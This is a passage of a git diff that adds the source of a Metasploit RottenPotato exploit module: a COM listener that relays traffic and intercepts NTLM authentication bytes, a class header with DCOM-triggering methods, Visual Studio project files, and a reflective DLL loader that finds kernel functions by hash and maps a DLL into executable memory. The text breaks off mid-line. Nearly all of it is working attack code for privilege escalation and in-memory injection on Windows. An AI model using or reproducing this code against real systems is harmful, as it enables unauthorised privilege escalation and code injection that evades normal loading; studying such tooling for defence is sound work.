WSACleanup(); + return 1; + } + + // Accept a client socket + ClientSocket = accept(ListenSocket, NULL, NULL); + if (ClientSocket == INVALID_SOCKET) { + closesocket(ListenSocket); + WSACleanup(); + return 1; + } + + // Receive until the peer shuts down the connection + int ntlmLoc; + do { + iResult = recv(ClientSocket, recvbuf, recvbuflen, 0); + if (iResult > 0) { + + //check to see if the received packet has NTLM auth information + processNtlmBytes(recvbuf, iResult); + + //Send all incoming packets to the WinRPC sockets "send queue" and wait for the WinRPC socket to put a packet into our "send queue" + //put packet in winrpc_sendq + rpcSendQ->push((char*)&iResult); + rpcSendQ->push(recvbuf); + + //block and wait for a new item in our sendq + int* len = (int*)comSendQ->wait_pop(); + sendbuf = comSendQ->wait_pop(); + + //Check to see if this is a packet containing NTLM authentication information before sending + processNtlmBytes(sendbuf, *len); + + //send the new packet sendbuf + iSendResult = send(ClientSocket, sendbuf, *len, 0); + + if (iSendResult == SOCKET_ERROR) { + closesocket(ClientSocket); + WSACleanup(); + return 1; + } + + //Sometimes Windows likes to open a new connection instead of using the current one + //Allow for this by waiting for 1s and replacing the ClientSocket if a new connection is incoming + newConnection = checkForNewConnection(&ListenSocket, &ClientSocket); + } + else if (iResult == 0) + printf("Connection closing...\n"); + else { + closesocket(ClientSocket); + WSACleanup(); + return 1; + } + + } while (iResult > 0); + + // shutdown the connection since we're done + iResult = shutdown(ClientSocket, SD_SEND); + if (iResult == SOCKET_ERROR) { + closesocket(ClientSocket); + WSACleanup(); + return 1; + } + + // cleanup + closesocket(ClientSocket); + WSACleanup(); + + closesocket(ListenSocket); + WSACleanup(); + + return 0; +} diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.h b/external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.h new file mode 100644 index 0000000000..605081a474 --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.h @@ -0,0 +1,35 @@ +// The following ifdef block is the standard way of creating macros which make exporting +// from a DLL simpler. All files within this DLL are compiled with the MSFROTTENPOTATO_EXPORTS +// symbol defined on the command line. This symbol should not be defined on any project +// that uses this DLL. This way any other project whose source files include this file see +// MSFROTTENPOTATO_API functions as being imported from a DLL, whereas this DLL sees symbols +// defined with this macro as being exported. +#ifdef MSFROTTENPOTATO_EXPORTS +#define MSFROTTENPOTATO_API __declspec(dllexport) +#else +#define MSFROTTENPOTATO_API __declspec(dllimport) +#endif +#include "Objidl.h" +#include "BlockingQueue.h" +#include "LocalNegotiator.h" + +// This class is exported from the MSFRottenPotato.dll +class MSFROTTENPOTATO_API CMSFRottenPotato { +private: + BlockingQueue* comSendQ; + BlockingQueue* rpcSendQ; + static DWORD WINAPI staticStartRPCConnection(void * Param); + static DWORD WINAPI staticStartCOMListener(void * Param); + static int newConnection; + int processNtlmBytes(char* bytes, int len); + int findNTLMBytes(char * bytes, int len); + +public: + CMSFRottenPotato(void); + int startRPCConnection(void); + DWORD startRPCConnectionThread(); + DWORD startCOMListenerThread(); + int startCOMListener(void); + int triggerDCOM(); + LocalNegotiator *negotiator; +}; diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.vcxproj b/external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.vcxproj new file mode 100755 index 0000000000..3b69b6ed68 --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.vcxproj @@ -0,0 +1,195 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + {4164003E-BA47-4A95-8586-D5AAC399C050} + Win32Proj + MSFRottenPotato + 8.1 + + + + DynamicLibrary + true + v141 + Unicode + + + DynamicLibrary + false + v141 + true + Unicode + + + DynamicLibrary + true + v141 + Unicode + + + DynamicLibrary + false + v141 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + + + Windows + true + secur32.lib;%(AdditionalDependencies) + + + + + Use + Level3 + Disabled + _DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + + + Windows + true + secur32.lib;%(AdditionalDependencies) + true + + + + + Level3 + NotUsing + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + true + MultiThreaded + + + Windows + true + true + true + secur32.lib;%(AdditionalDependencies) + + + + + Level3 + NotUsing + MaxSpeed + true + true + NDEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + true + MultiThreaded + + + Windows + true + true + true + secur32.lib;%(AdditionalDependencies) + + + + + + + + + + + + + + + + + + false + + + false + + + false + + + false + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.vcxproj.filters b/external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.vcxproj.filters new file mode 100644 index 0000000000..0d10aeb8be --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato/MSFRottenPotato.vcxproj.filters @@ -0,0 +1,66 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/ReflectiveDllInjection.h b/external/source/exploits/rottenpotato/MSFRottenPotato/ReflectiveDllInjection.h new file mode 100644 index 0000000000..d44a8d7079 --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato/ReflectiveDllInjection.h @@ -0,0 +1,52 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR(WINAPI * REFLECTIVELOADER)(VOID); +typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// +#pragma once diff --git a/external/source/exploits/rottenpotato/MSFRottenPotato/ReflectiveLoader.c b/external/source/exploits/rottenpotato/MSFRottenPotato/ReflectiveLoader.c new file mode 100644 index 0000000000..8aec0f6d2b --- /dev/null +++ b/external/source/exploits/rottenpotato/MSFRottenPotato/ReflectiveLoader.c @@ -0,0 +1,572 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +//===============================================================================================// +#pragma intrinsic( _ReturnAddress ) +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); } +//===============================================================================================// + +#ifdef ENABLE_OUTPUTDEBUGSTRING +#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str) +#else /* ENABLE_OUTPUTDEBUGSTRING */ +#define OUTPUTDBG(str) do{}while(0) +#endif + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; +#ifdef ENABLE_STOPPAGING + VIRTUALLOCK pVirtualLock = NULL; +#endif +#ifdef ENABLE_OUTPUTDEBUGSTRING + OUTPUTDEBUG pOutputDebug = NULL; +#endif + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while (TRUE) + { + if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef _WIN64 + uiBaseAddress = __readgsqword(0x60); +#else +#ifdef WIN_ARM + uiBaseAddress = *(DWORD *)((BYTE *)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); +#else _WIN32 + uiBaseAddress = __readfsdword(0x30); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while (uiValueA) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + ULONG_PTR tmpValC = uiValueC; + do + { + tmpValC = ror((DWORD)tmpValC); + // normalize to uppercase if the module name is in lowercase + if (*((BYTE *)uiValueB) >= 'a') + tmpValC += *((BYTE *)uiValueB) - 0x20; + else + tmpValC += *((BYTE *)uiValueB); + uiValueB++; + } while (--usCounter); + uiValueC = tmpValC; + + // compare the hash with that of kernel32.dll + if ((DWORD)uiValueC == KERNEL32DLL_HASH) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of name pointers + uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); + + usCounter = 3; +#ifdef ENABLE_STOPPAGING + usCounter++; +#endif +#ifdef ENABLE_OUTPUTDEBUGSTRING + usCounter++; +#endif + + // loop while we still have imports to find + while (usCounter > 0) + { + // compute the hash values for this function name + dwHashValue = _hash((char *)(uiBaseAddress + DEREF_32(uiNameArray))); + + // if we have found a function we want we get its virtual address + if (dwHashValue == LOADLIBRARYA_HASH + || dwHashValue == GETPROCADDRESS_HASH + || dwHashValue == VIRTUALALLOC_HASH +#ifdef ENABLE_STOPPAGING + || dwHashValue == VIRTUALLOCK_HASH +#endif +#ifdef ENABLE_OUTPUTDEBUGSTRING + || dwHashValue == OUTPUTDEBUG_HASH +#endif + ) + { + // get the VA for the array of addresses + uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // store this functions VA + if (dwHashValue == LOADLIBRARYA_HASH) + pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); + else if (dwHashValue == GETPROCADDRESS_HASH) + pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); + else if (dwHashValue == VIRTUALALLOC_HASH) + pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); +#ifdef ENABLE_STOPPAGING + else if (dwHashValue == VIRTUALLOCK_HASH) + pVirtualLock = (VIRTUALLOCK)(uiBaseAddress + DEREF_32(uiAddressArray)); +#endif +#ifdef ENABLE_OUTPUTDEBUGSTRING + else if (dwHashValue == OUTPUTDEBUG_HASH) + pOutputDebug = (OUTPUTDEBUG)(uiBaseAddress + DEREF_32(uiAddressArray)); +#endif + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if ((DWORD)uiValueC == NTDLLDLL_HASH) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of name pointers + uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); + + usCounter = 1; + + // loop while we still have imports to find + while (usCounter > 0) + { + // compute the hash values for this function name + dwHashValue = _hash((char *)(uiBaseAddress + DEREF_32(uiNameArray))); + + // if we have found a function we want we get its virtual address + if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) + { + // get the VA for the array of addresses + uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // store this functions VA + if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if (pLoadLibraryA + && pGetProcAddress + && pVirtualAlloc +#ifdef ENABLE_STOPPAGING + && pVirtualLock +#endif + && pNtFlushInstructionCache +#ifdef ENABLE_OUTPUTDEBUGSTRING + && pOutputDebug +#endif + ) + break; + + // get the next entry + uiValueA = DEREF(uiValueA); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + +#ifdef ENABLE_STOPPAGING + // prevent our image from being swapped to the pagefile + pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage); +#endif + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while (uiValueA--) + *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while (uiValueE--) + { + // uiValueB is the VA for this section + uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); + + // uiValueC if the VA for this sections data + uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while (uiValueD--) + *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof(IMAGE_SECTION_HEADER); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + + // we assume there is an import table to process + // uiValueC is the first entry in the import table + uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); + + // iterate through all imports until a null RVA is found (Characteristics is mis-named) + while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics) + { + OUTPUTDBG("Loading library: "); + OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); + OUTPUTDBG("\n"); + + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); + + if (!uiLibraryAddress) + { + OUTPUTDBG("Loading library FAILED\n"); + + uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); + continue; + } + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); + + // itterate through all imported functions, importing by ordinal if no name present + while (DEREF(uiValueA)) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of addresses + uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); + + // patch in the address for this imported function + DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); + } + else + { + // get the VA of this functions import by name struct + uiValueB = (uiBaseAddress + DEREF(uiValueA)); + + OUTPUTDBG("Resolving function: "); + OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); + OUTPUTDBG("\n"); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); + } + // get the next imported function + uiValueA += sizeof(ULONG_PTR); + if (uiValueD) + uiValueD += sizeof(ULONG_PTR); + } + + // get the next import + uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + // check if their are any relocations present + if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) + { + uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock; + + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); + + // and we itterate through all entries... + while (uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) + { + // uiValueA = the VA for this relocation block + uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); + + // uiValueB = number of entries in this relocation block + uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while (uiValueB--) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) + *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + // sanity chack we are processing a MOV instruction... + if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)(dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)(dwInstruction & 